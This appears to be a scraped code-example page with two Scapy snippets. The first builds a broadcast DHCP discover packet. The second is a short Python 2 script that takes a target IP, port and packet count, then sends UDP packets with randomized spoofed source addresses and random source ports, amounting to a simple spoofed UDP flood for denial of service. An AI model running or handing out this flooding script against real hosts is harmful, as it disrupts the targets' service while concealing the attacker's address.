ethernet = Ether()
ethernet.show()
ethernet.dst = "ff:ff:ff:ff:ff:ff"

# network layer
ip = IP()
ip.show()
ip.dst = "255.255.255.255"

# transport layer
udp = UDP()
udp.show()
udp.sport = 68
udp.dport = 67

# application layer
bootp = BOOTP()
bootp.show()
bootp.flags = 1

dhcp = DHCP()
dhcp.show()
dhcp.options = [("message-type", "discover"), "end"]

packet = ethernet / ip / udp / bootp / dhcp
示例#33
0
#!/usr/bin/python
from scapy.all import IP,UDP,RandIP,send
from random import randrange
ip = raw_input("Target IP: ")
port = input("Port: ")
times = input("Packet Nums: ")
b=IP(src=RandIP(),dst=ip,ttl=10)
c=UDP(dport=port)
tmp=1
while(True):
    randport = randrange(1025,65535,1)
    c.sport = randport
    a=b/c
    send(a)
    if (tmp == times):
        break
    else:
        tmp = tmp + 1